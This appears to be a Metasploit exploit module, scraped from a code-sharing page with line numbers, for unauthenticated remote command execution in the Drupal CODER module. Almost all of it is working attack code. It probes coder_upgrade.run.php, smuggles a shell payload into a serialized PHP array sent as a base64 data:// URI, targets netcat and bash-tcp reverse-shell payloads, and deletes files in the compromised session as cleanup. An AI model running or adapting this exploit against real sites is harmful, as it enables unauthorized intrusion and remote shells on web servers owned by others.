Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10

11
  def initialize(info={})
12
    super(update_info(info,
13
      'Name'           => 'Drupal CODER Module Remote Command Execution',
14
      'Description'    => %q{
15
        This module exploits a Remote Command Execution vulnerability in the
16
        Drupal CODER Module. Unauthenticated users can execute arbitrary
17
        commands under the context of the web server user.
18

19
        The CODER module doesn't sufficiently validate user inputs in a script
20
        file that has the PHP extension. A malicious unauthenticated user can
21
        make requests directly to this file to execute arbitrary commands.
22
        The module does not need to be enabled for this to be exploited.
23

24
        This module was tested against CODER 2.5 with Drupal 7.5 installed on
25
        Ubuntu Server.
26
      },
27
      'License'        => MSF_LICENSE,
28
      'Author'         =>
29
        [
30
          'Nicky Bloor <[email protected]>',  # discovery
31
          'Mehmet Ince <[email protected]>'  # msf module
32
        ],
33
      'References'     =>
34
        [
35
          ['URL', 'https://www.drupal.org/node/2765575']
36
        ],
37
      'Privileged'     => false,
38
      'Payload'        =>
39
        {
40
          'Space'       => 250,
41
          'DisableNops' => true,
42
          'BadChars'    => "\x2f",
43
          'Compat'      =>
44
            {
45
              'PayloadType' => 'cmd cmd_bash',
46
              'RequiredCmd' => 'generic netcat netcat-e bash-tcp'
47
            },
48
        },
49
      'Platform'       => ['unix'],
50
      'Arch'           => ARCH_CMD,
51
      'Targets'        => [ ['Automatic', {}] ],
52
      'DisclosureDate' => '2016-07-13',
53
      'DefaultTarget'  => 0
54
      ))
55

56
    register_options(
57
      [
58
        OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])
59
      ]
60
    )
61

62
    self.needs_cleanup = true
63
  end
64

65
  def check
66
    res = send_request_cgi(
67
      'method' => 'GET',
68
      'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
69
    )
70

71
    if res && res.body.include?('file parameter is not setNo path to parameter file')
72
      Exploit::CheckCode::Appears
73
    else
74
      Exploit::CheckCode::Safe
75
    end
76
  end
77

78
  def exploit
79
    p = ''
80
    p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}'
81
    p << 's:11:"theme_cache";s:16:"theme_cache_test";'
82
    p << 's:9:"variables";s:14:"variables_test";'
83
    p << 's:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}'
84
    p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}'
85
    p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";'
86
    p << 's:7:"new_dir";s:'
87
    p << (payload.encoded.length + 5).to_s
88
    p << ':"-v;'
89
    p << payload.encoded
90
    p << ' #";s:4:"name";s:4:"test";}}}'
91

92
    pl = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
93

94
    send_request_cgi(
95
      'method' => 'GET',
96
      'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
97
      'encode_params' => false,
98
      'vars_get' => {
99
        'file' => pl
100
      }
101
    )
102
  end
103

104
  # XXX: FileDropper can't handle weird filenames
105
  def on_new_session(session)
106
    # This find command should be decently portable...
107
    command = '[ -f coder_upgrade.run.php ] && find . \! -name coder_upgrade.run.php -delete'
108
    print_status("Cleaning up: #{command}")
109
    session.shell_command_token(command)
110
  end
111
end
112

113